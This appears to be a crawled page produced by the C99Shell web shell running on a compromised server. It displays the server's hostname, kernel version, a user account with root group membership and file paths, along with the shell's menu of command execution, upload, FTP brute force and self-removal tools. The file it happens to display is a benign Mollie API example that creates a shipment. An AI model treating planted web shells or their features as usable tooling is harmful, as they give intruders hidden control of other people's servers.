!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/mollie/mollie-api-php/examples/shipments/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     create-shipment-partial.php (1.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Example 32 - Create a shipment for part of an order using the Mollie API.
 */

try {
    
/*
     * Initialize the Mollie API library with your API key or OAuth access token.
     */
    
require "./initialize.php";

    
/*
     * Create a shipment for only two lines of the order with ID "ord_8wmqcHMN4U".
     *
     * See: https://docs.mollie.com/reference/v2/shipments-api/create-shipment
     */

    
$order $mollie->orders->get('ord_8wmqcHMN4U');
    
$lineId1 $order->lines()[0]->id;
    
$lineId2 $order->lines()[1]->id;
    
$shipment $order->createShipment(
        [
            
'lines' => [
                [
                    
'id' => $lineId1,
                    
// assume all is shipped if no quantity is specified
                
],
                [
                    
'id' => $lineId2,
                    
'quantity' => 1// you can set the quantity if not all is shipped at once
                
],
            ],
        ]
    );

    echo 
'A shipment with ID ' $shipment->id' has been created for your order with ID ' $order->id '.';
    foreach (
$shipment->lines as $line) {
        echo 
$line->name '- status: <b>' $line->status '</b>.';
    }
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--